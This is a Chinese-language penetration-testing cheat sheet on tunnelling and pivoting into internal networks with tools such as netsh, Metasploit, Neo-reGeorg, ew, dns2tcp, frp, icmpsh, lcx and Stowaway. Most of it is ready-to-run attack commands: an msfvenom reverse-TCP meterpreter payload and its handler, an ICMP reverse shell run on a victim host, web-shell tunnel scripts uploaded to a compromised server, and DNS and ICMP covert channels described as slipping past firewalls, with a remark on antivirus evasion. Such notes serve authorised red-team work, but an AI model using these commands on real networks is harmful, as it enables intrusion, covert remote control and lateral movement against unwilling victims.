代理隧道
1.netsh
端口转发
netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80
查看规则
netsh interface portproxy show all
删除规则
netsh interface portproxy delete v4tov4 listenport=7777
删除所有规则
netsh interface portproxy reset
msf反弹shell
填写能够直接跟我们交互的域内机器ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe
端口转发
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.135 connectport=4455
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.30.135
> set lport 4455
> exploit
2.Metasploit Portfwd
把自己的3389转到192.168.0.142的3389
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.0.142
查看所有转发
portfwd list
删除所有转发
portfwd flush
3.Neo-reGeorg
reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg
服务器运行
python3 neoreg.py generate -k moonsec
在neoreg_server目录下生成了很多脚本,这些脚本都可以拿来做转发 然后选择对应的脚本上传到B服务器的Web目录下,访问一下没有报错的话就是正常的
python3 neoreg.py -k moonsec -u http://192.168.0.155/tunnel.aspx
此时我们设置socks5代理127.0.0.1:1080就是B的网络,那么也就可以顺利访问到C网段
4.ssh
搭建socks5
ssh -qTfnN -D 7070 root@8.210.55.154
● -C:压缩模式
● -D:本地的端口
● -q:安静模式
● -T:禁止远程分配终端
● -n:关闭标准输入
● -N:不执行远程命令
● -f:后台运行
本地转发
ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN
ssh -L 3307:localhost:3306 moonsec@192.168.0.139 -fN
此时访问本地的6666端口就能够访问到10.10.10.155的80端口
5.ew
由于太牛逼了 作者不更新了
GitHub - idlefire/ew: 内网穿透(跨平台)
本地开启socks服务
ew_for_Win.exe -s ssocksd -l 8888
服务端
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
客户端连接c2
ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024
三层网络内网环境
在vps上把1080端口的请求转发给888端口
ew -s rcsocks -l 1080 -e 888
A主机把B主机的999端口和vps的888端口连接
ew -s lcx_slave -d C2IP -e 888 -f 10.10.10.10 -g 999
B主机把999端口的数据发到777端口
ew -s lcx_listen -l 999 -e 777
C主机启动socks5服务并反弹到B主机的777端口上
ew -s rcsocks -d B主机ip -e 777
6.Tunna
感觉Neo-reGeorg是他的升级版
通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口
python2 proxy.py -u http://192.168.0.139/conn.aspx -l 4321 -a 10.10.10.155 -r 3389 -v
7.ptunnel
以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)
老版本介绍:GitHub - utoni/ptunnel-ng: Tunnel TCP connections through ICMP.
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
客户端设置密码
ptunnel -x 1234
服务端连接
ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234
● -p:服务端IP
● -lp:本地端口
● -da:目标的IP
● -dp:目标的端口
● -x:密码
8.dns2tcp
dnscat2 iodine 也是类似软件
DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc
配置一个域名,增加一条A记录和NS记录
此时A记录是dns.xxx.com指向的121.5.51.111(c2),所以就会访问到121.5.51.111服务器
c2使用ubantu18
apt-get update
sudo apt-get install dns2tcp
修改dns2tcp配置文件/etc/dns2tcpd.conf
● listen=127.0.0.1修改成listen=0.0.0.0
● user = root
● key = moonsec
● domain = dns2tcp.8sq.cc
这个domain就是NS解析的记录,然后就可以保存了
服务端启动
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
如果出现错误可能端口被占用,查出端口的进程id然后使用kill结束就可以启动了
netstat -anp | grep 53
kill 进程ID
阿里云的话会有一个服务占用,并且Kill不掉,阿里云默认服务关闭
systemctl stop systemd-resolve
再次启动服务端
客户端连接
dns2tcpc -r ssh -k moonsec -z dns2tcp.8sq.cc 121.5.51.000 -l 8888 -c -d 3
● -k:密码
● -z:domain
监听本地的8888端口
此时Xshell连接本地的8888端口就可以连接到B的ssh了
连接上来之后点击下面的转移规则
类型为Dynamic 然后我们就可以代理127.0.0.1:1080
9.frp
Frp是一个可用于内网穿透的高性能反向代理应用,支持tcpudp协议,为http和https应用协议提供了额外的能力,且尝试性支持了点对点穿透
详细说明:frp/README_zh.md at master · fatedier/frp · GitHub
下载地址:Releases · fatedier/frp · GitHub
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz
tar zxvf frp_0.33.0_linux_amd64.tar.gz
mv frp_0.33.0_linux_amd64 frp
cd frp
修改frps.ini
bind_port=7000
token = moonsec2020
启动
./frps -c frps.ini
下载和操作系统对应的Frp版本,然后修改frpc.ini配置文件
修改server_addr为我们服务器的IP地址,端口是7000,如果服务器端没有修改这里也不用修改
并且添加token参数
下面ssh的意思是访问服务器的6000端口,就会映射到这个客户端的22端口
我们添加一个80端口的映射
[web]
type=tcp
local_ip=127.0.0.1
local_port=80
remote_port=7777
`
添加80端口映射
这样我们访问服务器端的7777端口就会访问到客户端127.0.0.1的80端口
实现了把C的80端口映射给B的7777
客户端运行
frpc.exe -c frpc.ini
10.nps
使用参考
nps/README_zh.md at master · ehang-io/nps · GitHub
11.icmpsh
GitHub - bdamele/icmpsh: Simple reverse ICMP shell
可以低权限运行,不需要管理员权限
apt-get install python-impacket
//关闭ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
//开启ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=0
//攻击机上执行(KALI或者VPS)
python icmpsh_m.py <攻击机IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通)
如:
python icmpsh_m.py 192.168.55.3 192.168.55.16
//靶机上执行
icmpsh.exe -t 攻击机IP -d 500 -s 128
如:
icmpsh.exe -t 192.168.55.3 -d 500 -s 128
12.lcx
lcx是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。windows版本为lcx.exe,Linux版本为portmap。
一个正常的socket隧道必须具备两端:一段为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接
将目标机器的3389端口数据转发到VPS的4444端口上
lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389
将vps上4444端口的流量转发到5555端口上
lcx.exe -listen 4444 5555
此时连接VPS的5555端口就相当于连接目标机器的3389端口
13.powercat
PowerCat就是powershell版本的nc。
powercat下载地址:GitHub - besimorhino/powercat: netshell features all in version 2 powershell
将目标机器的3389端口数据转发到VPS的4444端口上
lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389
将vps上4444端口的流量转发到5555端口上
lcx.exe -listen 4444 5555
此时连接VPS的5555端口就相当于连接目标机器的3389端口
14.Stowaway
GitHub - ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters
#服务端启动
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
#客户端
./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32
#建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
use 0
# socks 端口 用户名 密码
socks 55667 username password
此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。
多级代理
1.frp
服务端(外网VPS)配置frps.toml和一级代理 一致
bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可
由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。
其中服务端配置 frps.toml 如下:
bindPort = 49378
客户端配置frpc.toml如下:
serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"
[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"
[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去
接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。
serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378
[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"
这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。
2.Stowaway
#c2执行
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
#内网机器A上执行
./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32
#这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口
use 0
listen
#此时再在内网机器B上执行如下命令和内网机器A建立连接:
./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32
#执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:
use 1
socks 55667 username password
#此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。